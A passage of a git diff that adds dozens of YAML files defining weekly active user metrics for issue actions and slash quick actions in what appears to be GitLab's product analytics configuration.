+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
+
diff --git a/config/metrics/counts_7d/20210216181451_g_project_management_issue_comment_removed_weekly.yml b/config/metrics/counts_7d/20210216181451_g_project_management_issue_comment_removed_weekly.yml
new file mode 100644
index 00000000000..7802ebf2d97
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181451_g_project_management_issue_comment_removed_weekly.yml
@@ -0,0 +1,19 @@
+---
+key_path: redis_hll_counters.issues_edit.g_project_management_issue_comment_removed_weekly
+description: Count of WAU deleting a comment from an issue
+product_section: dev
+product_stage: plan
+product_group: group::project management
+product_category: issue_tracking
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
+
diff --git a/config/metrics/counts_7d/20210216181459_g_project_management_issue_cloned_weekly.yml b/config/metrics/counts_7d/20210216181459_g_project_management_issue_cloned_weekly.yml
new file mode 100644
index 00000000000..0023d75bf4c
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181459_g_project_management_issue_cloned_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.issues_edit.g_project_management_issue_cloned_weekly
+description: Count of WAU cloning an issue
+product_section: dev
+product_stage: plan
+product_group: group::project management
+product_category: issue_tracking
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate \ No newline at end of file
diff --git a/config/metrics/counts_7d/20210216181503_issues_edit_total_unique_counts_weekly.yml b/config/metrics/counts_7d/20210216181503_issues_edit_total_unique_counts_weekly.yml
new file mode 100644
index 00000000000..59d0779c7d4
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181503_issues_edit_total_unique_counts_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.issues_edit.issues_edit_total_unique_counts_weekly
+description: Aggregate count of WAU taking an action related to an issue
+product_section: dev
+product_stage: plan
+product_group: group::project management
+product_category: issue_tracking
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216181506_i_quickactions_approve_weekly.yml b/config/metrics/counts_7d/20210216181506_i_quickactions_approve_weekly.yml
new file mode 100644
index 00000000000..f8c48ac20f9
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181506_i_quickactions_approve_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.quickactions.i_quickactions_approve_weekly
+description: Count of WAU using the `/approve` quick action
+product_section: dev
+product_stage: create
+product_group: group::code review
+product_category: code_review
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate \ No newline at end of file
diff --git a/config/metrics/counts_7d/20210216181510_i_quickactions_assign_single_weekly.yml b/config/metrics/counts_7d/20210216181510_i_quickactions_assign_single_weekly.yml
new file mode 100644
index 00000000000..edc9becd5fb
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181510_i_quickactions_assign_single_weekly.yml
@@ -0,0 +1,19 @@
+---
+key_path: redis_hll_counters.quickactions.i_quickactions_assign_single_weekly
+description: Count of WAU using the `/assign @user1` quick action to assign a single individual to an issuable
+product_section: dev
+product_stage: plan
+product_group: group::project management
+product_category: issue_tracking
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
+
diff --git a/config/metrics/counts_7d/20210216181517_i_quickactions_assign_self_weekly.yml b/config/metrics/counts_7d/20210216181517_i_quickactions_assign_self_weekly.yml
new file mode 100644
index 00000000000..d92701b864c
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181517_i_quickactions_assign_self_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.quickactions.i_quickactions_assign_self_weekly
+description: Count of WAU using the `/assign me` quick action to assign self to an issuable
+product_section: dev
+product_stage: plan
+product_group: group::project management
+product_category: issue_tracking
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate \ No newline at end of file
diff --git a/config/metrics/counts_7d/20210216181521_i_quickactions_assign_reviewer_weekly.yml b/config/metrics/counts_7d/20210216181521_i_quickactions_assign_reviewer_weekly.yml
new file mode 100644
index 00000000000..51c3c4a61e0
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181521_i_quickactions_assign_reviewer_weekly.yml
@@ -0,0 +1,19 @@
+---
+key_path: redis_hll_counters.quickactions.i_quickactions_assign_reviewer_weekly
+description: Count of WAU using the `/assign_reviewer` or `request_reviewer` quick action
+product_section: dev
+product_stage: create
+product_group: group::code review
+product_category: code_review
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
+
diff --git a/config/metrics/counts_7d/20210216181525_i_quickactions_award_weekly.yml b/config/metrics/counts_7d/20210216181525_i_quickactions_award_weekly.yml
new file mode 100644
index 00000000000..fe5f5f3c9d5
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181525_i_quickactions_award_weekly.yml
@@ -0,0 +1,19 @@
+---
+key_path: redis_hll_counters.quickactions.i_quickactions_award_weekly
+description: Count of WAU using the `/award` quick action to set an award emoji on an issuable
+product_section: dev
+product_stage: plan
+product_group: group::project management
+product_category: issue_tracking
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
+
diff --git a/config/metrics/counts_7d/20210216181529_i_quickactions_board_move_weekly.yml b/config/metrics/counts_7d/20210216181529_i_quickactions_board_move_weekly.yml
new file mode 100644
index 00000000000..c8b4a45f7f9
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181529_i_quickactions_board_move_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.quickactions.i_quickactions_board_move_weekly
+description: Count of WAU using the `/board_move` quick action
+product_section: dev
+product_stage: plan
+product_group: group::project management
+product_category: issue_tracking
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216181540_i_quickactions_clone_weekly.yml b/config/metrics/counts_7d/20210216181540_i_quickactions_clone_weekly.yml
new file mode 100644
index 00000000000..6a02c7721e9
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181540_i_quickactions_clone_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.quickactions.i_quickactions_clone_weekly
+description: Count of WAU using the `/clone` quick action to clone an issue.
+product_section: dev
+product_stage: plan
+product_group: group::project management
+product_category: issue_tracking
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216181543_i_quickactions_close_weekly.yml b/config/metrics/counts_7d/20210216181543_i_quickactions_close_weekly.yml
new file mode 100644
index 00000000000..1afed34d3d2
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181543_i_quickactions_close_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.quickactions.i_quickactions_close_weekly
+description: Count of WAU using the `/close` quick action to close an issuable
+product_section: dev
+product_stage: plan
+product_group: group::project management
+product_category: issue_tracking
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216181547_i_quickactions_confidential_weekly.yml b/config/metrics/counts_7d/20210216181547_i_quickactions_confidential_weekly.yml
new file mode 100644
index 00000000000..9536278ed5c
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181547_i_quickactions_confidential_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.quickactions.i_quickactions_confidential_weekly
+description: Count of WAU using the `/confidential` quick action to set an issue as confidential
+product_section: dev
+product_stage: plan
+product_group: group::project management
+product_category: issue_tracking
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216181551_i_quickactions_copy_metadata_merge_request_weekly.yml b/config/metrics/counts_7d/20210216181551_i_quickactions_copy_metadata_merge_request_weekly.yml
new file mode 100644
index 00000000000..0661fda6954
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181551_i_quickactions_copy_metadata_merge_request_weekly.yml
@@ -0,0 +1,19 @@
+---
+key_path: redis_hll_counters.quickactions.i_quickactions_copy_metadata_merge_request_weekly
+description: Count of WAU using the `/copy_metadata` quick action on a Merge Request
+product_section: dev
+product_stage: create
+product_group: group::source code
+product_category: source_code_management
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
+
diff --git a/config/metrics/counts_7d/20210216181554_i_quickactions_copy_metadata_issue_weekly.yml b/config/metrics/counts_7d/20210216181554_i_quickactions_copy_metadata_issue_weekly.yml
new file mode 100644
index 00000000000..42cb960a4ef
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181554_i_quickactions_copy_metadata_issue_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.quickactions.i_quickactions_copy_metadata_issue_weekly
+description: Count of WAU using the `/copy_metadata` quick action on an issue
+product_section: dev
+product_stage: plan
+product_group: group::project management
+product_category: issue_tracking
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216181558_i_quickactions_create_merge_request_weekly.yml b/config/metrics/counts_7d/20210216181558_i_quickactions_create_merge_request_weekly.yml
new file mode 100644
index 00000000000..9e94ec9940e
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181558_i_quickactions_create_merge_request_weekly.yml
@@ -0,0 +1,19 @@
+---
+key_path: redis_hll_counters.quickactions.i_quickactions_create_merge_request_weekly
+description: Count of WAU using the `/create_merge_request` quick action
+product_section: dev
+product_stage: plan
+product_group: group::project management
+product_category: issue_tracking
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
+
diff --git a/config/metrics/counts_7d/20210216181602_i_quickactions_done_weekly.yml b/config/metrics/counts_7d/20210216181602_i_quickactions_done_weekly.yml
new file mode 100644
index 00000000000..bd5720ee00b
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181602_i_quickactions_done_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.quickactions.i_quickactions_done_weekly
+description: Count of WAU using the `/done` quick action to mark a todo as done
+product_section: dev
+product_stage: plan
+product_group: group::project management
+product_category: issue_tracking
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216181605_i_quickactions_draft_weekly.yml b/config/metrics/counts_7d/20210216181605_i_quickactions_draft_weekly.yml
new file mode 100644
index 00000000000..4d324611eae
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181605_i_quickactions_draft_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.quickactions.i_quickactions_draft_weekly
+description: Count of WAU using the `/draft` quick action on a Merge Request
+product_section: dev
+product_stage: create
+product_group: group::source code
+product_category: source_code_management
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216181609_i_quickactions_due_weekly.yml b/config/metrics/counts_7d/20210216181609_i_quickactions_due_weekly.yml
new file mode 100644
index 00000000000..ba24c06603c
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181609_i_quickactions_due_weekly.yml
@@ -0,0 +1,19 @@
+---
+key_path: redis_hll_counters.quickactions.i_quickactions_due_weekly
+description: Count of WAU using the `/due` quick action to change the due date on an issuable
+product_section: dev
+product_stage: plan
+product_group: group::project management
+product_category: issue_tracking
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
+
diff --git a/config/metrics/counts_7d/20210216181613_i_quickactions_duplicate_weekly.yml b/config/metrics/counts_7d/20210216181613_i_quickactions_duplicate_weekly.yml
new file mode 100644
index 00000000000..3ab9b124c2a
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181613_i_quickactions_duplicate_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.quickactions.i_quickactions_duplicate_weekly
+description: Count of WAU using the `/duplicate` quick action to mark an issue as a duplicate of another
+product_section: dev
+product_stage: plan
+product_group: group::project management
+product_category: issue_tracking
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216181620_i_quickactions_estimate_weekly.yml b/config/metrics/counts_7d/20210216181620_i_quickactions_estimate_weekly.yml
new file mode 100644
index 00000000000..42b76831a0b
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181620_i_quickactions_estimate_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.quickactions.i_quickactions_estimate_weekly
+description: Count of WAU using the `/estimate` quick action to set a time estimate on an issue
+product_section: dev
+product_stage: plan
+product_group: group::project management
+product_category: time_tracking
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate \ No newline at end of file
diff --git a/config/metrics/counts_7d/20210216181628_i_quickactions_label_weekly.yml b/config/metrics/counts_7d/20210216181628_i_quickactions_label_weekly.yml
new file mode 100644
index 00000000000..b77a75d1a0e
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181628_i_quickactions_label_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.quickactions.i_quickactions_label_weekly
+description: Count of WAU using the `/label` quick action
+product_section: dev
+product_stage: plan
+product_group: group::project management
+product_category: issue_tracking
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216181631_i_quickactions_lock_weekly.yml b/config/metrics/counts_7d/20210216181631_i_quickactions_lock_weekly.yml
new file mode 100644
index 00000000000..f2bfe3b8e2c
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181631_i_quickactions_lock_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.quickactions.i_quickactions_lock_weekly
+description: Count of WAU using the `/lock` quick action
+product_section: dev
+product_stage: plan
+product_group: group::project management
+product_category: issue_tracking
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate \ No newline at end of file
diff --git a/config/metrics/counts_7d/20210216181635_i_quickactions_merge_weekly.yml b/config/metrics/counts_7d/20210216181635_i_quickactions_merge_weekly.yml
new file mode 100644
index 00000000000..5fdb11355f5
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181635_i_quickactions_merge_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.quickactions.i_quickactions_merge_weekly
+description: Count of WAU using the `/merge` quick action
+product_section: dev
+product_stage: create
+product_group: group::source code
+product_category: source_code_management
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216181639_i_quickactions_milestone_weekly.yml b/config/metrics/counts_7d/20210216181639_i_quickactions_milestone_weekly.yml
new file mode 100644
index 00000000000..c4e0e3606af
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181639_i_quickactions_milestone_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.quickactions.i_quickactions_milestone_weekly
+description: Count of WAU using the `/milestone` quick action
+product_section: dev
+product_stage: plan
+product_group: group::project management
+product_category: issue_tracking
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216181642_i_quickactions_move_weekly.yml b/config/metrics/counts_7d/20210216181642_i_quickactions_move_weekly.yml
new file mode 100644
index 00000000000..55559fb7715
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181642_i_quickactions_move_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.quickactions.i_quickactions_move_weekly
+description: Count of WAU using the `/move` quick action
+product_section: dev
+product_stage: plan
+product_group: group::project management
+product_category: issue_tracking
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216181657_i_quickactions_reassign_weekly.yml b/config/metrics/counts_7d/20210216181657_i_quickactions_reassign_weekly.yml
new file mode 100644
index 00000000000..d6f304bba5c
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181657_i_quickactions_reassign_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.quickactions.i_quickactions_reassign_weekly
+description: Count of WAU using the `/reassign @user1` quick action
+product_section: dev
+product_stage: plan
+product_group: group::project management
+product_category: issue_tracking
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216181701_i_quickactions_reassign_reviewer_weekly.yml b/config/metrics/counts_7d/20210216181701_i_quickactions_reassign_reviewer_weekly.yml
new file mode 100644
index 00000000000..f9347596f77
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181701_i_quickactions_reassign_reviewer_weekly.yml
@@ -0,0 +1,19 @@
+---
+key_path: redis_hll_counters.quickactions.i_quickactions_reassign_reviewer_weekly
+description: Count of WAU using the `/reassign_reviewer` quick action
+product_section: dev
+product_stage: create
+product_group: group::code review
+product_category: code_review
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
+
diff --git a/config/metrics/counts_7d/20210216181705_i_quickactions_rebase_weekly.yml b/config/metrics/counts_7d/20210216181705_i_quickactions_rebase_weekly.yml
new file mode 100644
index 00000000000..73a99e63471
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181705_i_quickactions_rebase_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.quickactions.i_quickactions_rebase_weekly
+description: Count of WAU using the `/rebase` quick action on a Merge Request
+product_section: dev
+product_stage: source_code
+product_group: group::source code
+product_category: source_code_management
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216181708_i_quickactions_relabel_weekly.yml b/config/metrics/counts_7d/20210216181708_i_quickactions_relabel_weekly.yml
new file mode 100644
index 00000000000..5ffbd8904b1
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181708_i_quickactions_relabel_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.quickactions.i_quickactions_relabel_weekly
+description: Count of WAU using the `/relabel` quick action
+product_section: dev
+product_stage: plan
+product_group: group::project management
+product_category: issue_tracking
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216181712_i_quickactions_relate_weekly.yml b/config/metrics/counts_7d/20210216181712_i_quickactions_relate_weekly.yml
new file mode 100644
index 00000000000..aa4ee33ff27
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181712_i_quickactions_relate_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.quickactions.i_quickactions_relate_weekly
+description: Count of WAU using the `/relate` quick action
+product_section: dev
+product_stage: plan
+product_group: group::project management
+product_category: issue_tracking
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216181719_i_quickactions_remove_due_date_weekly.yml b/config/metrics/counts_7d/20210216181719_i_quickactions_remove_due_date_weekly.yml
new file mode 100644
index 00000000000..684b3aa9af5
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181719_i_quickactions_remove_due_date_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.quickactions.i_quickactions_remove_due_date_weekly
+description: Count of WAU using the `/remove_due_date` quick action
+product_section: dev
+product_stage: plan
+product_group: group::project management
+product_category: issue_tracking
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216181727_i_quickactions_remove_estimate_weekly.yml b/config/metrics/counts_7d/20210216181727_i_quickactions_remove_estimate_weekly.yml
new file mode 100644
index 00000000000..5f25769f4da
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181727_i_quickactions_remove_estimate_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.quickactions.i_quickactions_remove_estimate_weekly
+description: Count of WAU using the `/remove_estimate` quick action
+product_section: dev
+product_stage: plan
+product_group: group::project management
+product_category: time_tracking
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate \ No newline at end of file
diff --git a/config/metrics/counts_7d/20210216181734_i_quickactions_remove_milestone_weekly.yml b/config/metrics/counts_7d/20210216181734_i_quickactions_remove_milestone_weekly.yml
new file mode 100644
index 00000000000..d2edc411e81
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181734_i_quickactions_remove_milestone_weekly.yml
@@ -0,0 +1,19 @@
+---
+key_path: redis_hll_counters.quickactions.i_quickactions_remove_milestone_weekly
+description: Count of WAU using the `/remove_milestone` quick action
+product_section: dev
+product_stage: plan
+product_group: group::project management
+product_category: issue_tracking
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
+
diff --git a/config/metrics/counts_7d/20210216181742_i_quickactions_remove_time_spent_weekly.yml b/config/metrics/counts_7d/20210216181742_i_quickactions_remove_time_spent_weekly.yml
new file mode 100644
index 00000000000..0b0e1ef7c83
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181742_i_quickactions_remove_time_spent_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.quickactions.i_quickactions_remove_time_spent_weekly
+description: Count of WAU using the `/remove_time_spent` quick action
+product_section: dev
+product_stage: plan
+product_group: group::project management
+product_category: issue_tracking
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216181745_i_quickactions_remove_zoom_weekly.yml b/config/metrics/counts_7d/20210216181745_i_quickactions_remove_zoom_weekly.yml
new file mode 100644
index 00000000000..fdf9aac2687
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181745_i_quickactions_remove_zoom_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.quickactions.i_quickactions_remove_zoom_weekly
+description: Count of WAU using the `/remove_zoom` quick action
+product_section: dev
+product_stage: plan
+product_group: group::project management
+product_category: issue_tracking
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216181749_i_quickactions_reopen_weekly.yml b/config/metrics/counts_7d/20210216181749_i_quickactions_reopen_weekly.yml
new file mode 100644
index 00000000000..b566f3bed65
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181749_i_quickactions_reopen_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.quickactions.i_quickactions_reopen_weekly
+description: Count of WAU using the `/reopen` quick action
+product_section: dev
+product_stage: plan
+product_group: group::project management
+product_category: issue_tracking
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216181753_i_quickactions_shrug_weekly.yml b/config/metrics/counts_7d/20210216181753_i_quickactions_shrug_weekly.yml
new file mode 100644
index 00000000000..f6d18267bfe
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181753_i_quickactions_shrug_weekly.yml
@@ -0,0 +1,19 @@
+---
+key_path: redis_hll_counters.quickactions.i_quickactions_shrug_weekly
+description: Count of WAU using the `/shrug` quick action
+product_section: dev
+product_stage: plan
+product_group: group::project management
+product_category: issue_tracking
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
+
diff --git a/config/metrics/counts_7d/20210216181756_i_quickactions_spend_subtract_weekly.yml b/config/metrics/counts_7d/20210216181756_i_quickactions_spend_subtract_weekly.yml
new file mode 100644
index 00000000000..afadfd2bb13
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181756_i_quickactions_spend_subtract_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.quickactions.i_quickactions_spend_subtract_weekly
+description: Count of WAU using the `/spend` quick action to subtract time spent
+product_section: dev
+product_stage: plan
+product_group: group::project management
+product_category: time_tracking
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216181800_i_quickactions_spend_add_weekly.yml b/config/metrics/counts_7d/20210216181800_i_quickactions_spend_add_weekly.yml
new file mode 100644
index 00000000000..b826cfd2057
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181800_i_quickactions_spend_add_weekly.yml
@@ -0,0 +1,19 @@
+---
+key_path: redis_hll_counters.quickactions.i_quickactions_spend_add_weekly
+description: Count of WAU using the `/spend` quick action to add time spent
+product_section: dev
+product_stage: plan
+product_group: group::project management
+product_category: issue_tracking
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
+
diff --git a/config/metrics/counts_7d/20210216181804_i_quickactions_submit_review_weekly.yml b/config/metrics/counts_7d/20210216181804_i_quickactions_submit_review_weekly.yml
new file mode 100644
index 00000000000..55848c908da
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181804_i_quickactions_submit_review_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.quickactions.i_quickactions_submit_review_weekly
+description: Count of WAU using the `/submit_review` quick action on Merge Requests
+product_section: dev
+product_stage: create
+product_group: group::code review
+product_category: code_review
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216181808_i_quickactions_subscribe_weekly.yml b/config/metrics/counts_7d/20210216181808_i_quickactions_subscribe_weekly.yml
new file mode 100644
index 00000000000..8fbe345f451
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181808_i_quickactions_subscribe_weekly.yml
@@ -0,0 +1,19 @@
+---
+key_path: redis_hll_counters.quickactions.i_quickactions_subscribe_weekly
+description: Count of WAU using the `/subscribe` quick action
+product_section: dev
+product_stage: plan
+product_group: group::project management
+product_category: issue_tracking
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
+
diff --git a/config/metrics/counts_7d/20210216181811_i_quickactions_tableflip_weekly.yml b/config/metrics/counts_7d/20210216181811_i_quickactions_tableflip_weekly.yml
new file mode 100644
index 00000000000..fb32d9645c3
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181811_i_quickactions_tableflip_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.quickactions.i_quickactions_tableflip_weekly
+description: Count of WAU using the `/tableflip` quick action
+product_section: dev
+product_stage: plan
+product_group: group::project management
+product_category: issue_tracking
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216181815_i_quickactions_tag_weekly.yml b/config/metrics/counts_7d/20210216181815_i_quickactions_tag_weekly.yml
new file mode 100644
index 00000000000..8ebf21a4d5f
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181815_i_quickactions_tag_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.quickactions.i_quickactions_tag_weekly
+description: Count of WAU using the `/tag` quick action
+product_section: dev
+product_stage: create
+product_group: group::source code
+product_category: source_code_management
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
